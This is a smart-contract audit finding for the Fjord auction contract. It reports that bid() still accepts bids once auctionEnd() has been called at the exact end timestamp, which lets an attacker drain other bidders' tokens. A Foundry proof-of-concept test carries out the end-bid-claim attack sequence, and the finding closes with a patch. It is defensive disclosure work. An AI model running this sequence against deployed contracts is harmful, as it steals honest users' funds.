Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Attacker can steal user's rewards by staking after the auction ended

0xlemon

Summary

An attacker can use a flaw in the FjordAuction to steal user's rewards. The flaw is due to insufficient check in FjordeAuction::bid() that doesn't check that the auction ended but instead checks if block.timestamp <= auctionEndTime which is problematic when block.timestamp == auctionEndTime and allows bids even when the auction ended.

Vulnerability Details

Users are supposed to bid until the auction ends and after that they are eligable to claim their portion of the auctioned token. However there is a flaw that allows an attacker to steal honest users' rewards.

In FjordAuction::bid() we have the following check that ensures there are no bids after the auction ended:

function bid(uint256 amount) external {
@-> if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
​
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}

However this if clause passes when block.timestamp = auctionEndTime and if we look at the auctionEnd() function we can see that:

  1. It can be called by anyone

  2. It allows the auction to end even when block.timestamp = auctionEndTime

This creates a scenario where an attacker can call auctionEnd() exactly when block.timestamp = auctionEndTime and after that place a bid using the bid function which will execute successfully because of the above mentioned if clause. Both of these transactions done in the same block. Since the multiplier is calculated when the auction ends in auctionEnd() it will not account for the new bid that the attacker placed and therefore allowing the attacker to call claim() and claim another user's rewards.

Consider the following scenario:

  1. Honest user (let's call him Bob) places a bid of 5e18 fjord points. (Assume that the total auctioned tokens = 5e18)

  2. Now we are at the timestamp where an auction can end (block.timestamp = auctionEndTime)

  3. An attcker calls auctionEnd() and it sets the multiplier = 1e18

  4. Exactly after that in the same block the attacker calls bid() with 5e18 fjord points(he can put less tokens and still be able to steal the users' rewards but when the amount = totalBids, he gets all of the rewards) and it sets the bids mapping.

  5. The attacker front-runs or executes a claim transaction before Bob's.

  6. The attacker gets all of the auctioned tokens and when Bob tries to claim his transaction reverts because the contract's balance has been emptied by the attacker

!NOTE
This attack can be performed with less fjord points. The attacker will gain hisBid * multiplier and steal that many rewards from honest users.

POC

Add the following test to 2024-08-fjord\test\unit\auction.t.sol and add import "forge-std/console.sol"; at the top of the file. To run just do forge test --mt testAttackerStealsClaimableRewards -vvv

function testAttackerStealsClaimableRewards() public {
address user1 = makeAddr("user1");
deal(address(fjordPoints), user1, 500 ether);
​
address user2 = makeAddr("user2");
deal(address(fjordPoints), user2, 500 ether);
​
vm.startPrank(user1);
fjordPoints.approve(address(auction), 500 ether);
auction.bid(500 ether);
vm.stopPrank();
​
vm.startPrank(user2);
fjordPoints.approve(address(auction), 500 ether);
auction.bid(500 ether);
vm.stopPrank();
​
address attacker = makeAddr("attacker");
deal(address(fjordPoints), attacker, 1000 ether);
​
// Needs to pass exactly biddingTime
skip(biddingTime);
​
// First attacker calls auctionEnd at exactly the biddingTime + startTimestamp
// Then using the vulnerability he bids after the auction has ended to steal rewards
// After that he front-runs the users and claims their portion of the tokens
vm.startPrank(attacker);
auction.auctionEnd();
fjordPoints.approve(address(auction), 1000 ether);
auction.bid(1000 ether);
auction.claimTokens();
vm.stopPrank();
​
console.log("Attacker's auctioned token balance: ", auctionToken.balanceOf(attacker));
​
// Now users canno claim their tokens since there is no balance left in the contract
vm.expectRevert();
vm.prank(user1);
auction.claimTokens();
}

Impact

Users lose their share of the auctioned tokens

Tools Used

Manual Review, Foundry, VS Code

Recommendations

Change the FjordAuction::bid() to the following:

function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
+ if (ended) {
+ revert AuctionEndAlreadyCalled();
+ }
​
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
​
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.